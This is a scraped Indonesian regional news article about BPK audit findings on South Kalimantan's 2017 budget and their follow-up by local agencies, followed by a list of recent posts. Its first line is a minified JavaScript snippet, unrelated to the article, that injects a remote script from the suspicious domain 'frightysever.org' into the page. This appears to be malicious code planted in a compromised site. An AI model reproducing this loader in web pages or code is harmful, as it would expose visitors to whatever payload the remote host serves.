(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

BPKP Kalsel Sempat Temukan Kekurangan Laporan dari APBD 2017


BANJARMASIN, Badan Pemeriksa Keuangan Perwakilan (BPKP) Kalsel membuat sebuah rekomendasi hasil dari pemeriksaan atas beberapa laporan pertanggungjawaban anggaran pendapatan dan belanja daerah (APBD) Kalsel 2017. Inspektur Kalsel Awi Sundari mengatakan, hasil beberapa temuan BPK dari empat sektor dengan 37 rekomendasi dan bisa ditindak lanjuti  dari Satuan Kerja Perangkat Daerah ditemukan di beberapa dinas. Antara lain Dinas Kesehatan, Dinas Pendidikan, RSUD Ulin Banjarmasin, dan Dinas Pekerjaan Umum

Menurut Alwi, beberapa temuan tersebut berada pada bidang belanja modalnya namun hal tersebut menurutnya sudah disempurnakan.

“Temuan tersebut banyak dibelanja modal, namun sudah disempurnakan,” ungkapnya.

Semua temuan dan rekomendasi tersebut telah ditindaklanjuti oleh SKPD terkait yang menjadi objek temuan. Rekomendasi yang diberikan oleh BPK, antara lain diminta melakukan review untuk meyakini hasil temuan karena sudah ditindaklanjuti. “Semua sudah clear dan dibuktikan rekon antara kami dengan BPK dari tanggal 4–8 Juni 2018,” terangnya.

Tindak lanjut dibuktikan dengan berita acara yang sudah ditandatangani. Semua temuan serta rekomendasi sudah ditindaklanjuti oleh SKPD terkait yang jadi objek temuan, rekomendasi antara lain diminta melakukan review untuk meyakini hasil temuan.

Nah, karena sudah ditindaklanjuti semua maka sudah clear dan dibuktikan. “Rekon antara kami pada tanggal 4 sampai 8 Juni 2018 berita acara sudah ditandatangani,’’ katanya.

Sementara itu, anggota DPD RI Perwakilan Kalsel, Antung Fatmawati menambahkan, meski ada temuan tapi BPK memberikan waktu untuk melakukan perbaikan. “Pemda di Kalsel sudah luar biasa. Hampir 100 persen mendapatkan opini wajar tanpa pengecualian (WTP). Kita nomor tiga se Indonesia,’’ ujarnya.

Di tempat yang sama, anggota rombongan DPDN, Ovita Anakotta menambahkan maksud kedatangan pihaknya hanya melakukan pengawasan sebagai mitra kerja pemerintah. Anggota DPD Perwakilan Maluku ini menegaskan, pihaknya tidak melakukan audit investigasi. “Fokus kami kepada pegembalian temuan kerugian negara, kalaupun ada kendala pengembalian laporkan ke kami untuk mencari solusi,’’ singkatnya.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

5 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

5 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

7 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

9 jam ago

This website uses cookies.